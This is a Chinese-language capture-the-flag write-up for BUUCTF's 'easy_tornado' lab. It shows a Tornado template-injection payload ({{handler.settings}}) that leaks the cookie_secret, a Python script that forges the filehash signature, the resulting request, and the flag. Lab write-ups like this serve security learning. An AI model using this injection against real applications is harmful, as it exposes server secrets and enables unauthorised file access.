BUUCTF-esay_tornado

首先进去是能看到三个文件的，进去能得到不同的提示



查了一下render是渲染函数，能将变量渲染到模板中，再百度一下这题是模板注入，好了接下来又得看一下什么是模板注入了
https://www.jianshu.com/p/aef2ae0498df

回到这题，提示说flag在fllllllllllllag中，就试着在当前页面访问了一下
fb8548e2-3e1d-4f32-b91f-a8acb8901763.node3.buuoj.cn/file?filename=/fllllllllllllag

更神奇的是改变参数能原样输出

百度一下这考的是模板注入，通过看某大佬的博客知道cookie_secret在Application对象settings属性中，为什么会有这个想法呢？看其中一个提示md5(cookie_secret+md5(filename))，然后的操作我就看不懂了。。。。。

然后构造payload:?msg={{handler.settings}}拿到cookie_secret

接下来就是跑脚本了

import hashlib
def md5value(s):
    md5=hashlib.md5()
    md5.update(s)
    return md5.hexdigest()
def filehash():
    filename='/fllllllllllllag'
    cookie_s="eba88dfe-959d-4d80-a6a4-15a90da95fbf"
    print(md5value(filename.encode('utf-8')))
    x=md5value(filename.encode('utf-8'))
    y=cookie_s+x
    print(md5value(y.encode('utf-8')))

filehash()

跑出一段hash值

看着很眼熟有没有，回到falg.txt那个页面
把这里改成跑出来的值试试，哦还有把文件名也改成藏flag的那个文件名
?filename=/fllllllllllllag&filehash=25674e1bc815ac79cd203ed227aff02f
这样就出flag了
flag{bf66c507-db8e-4bc9-bd32-ae7d9c08af95}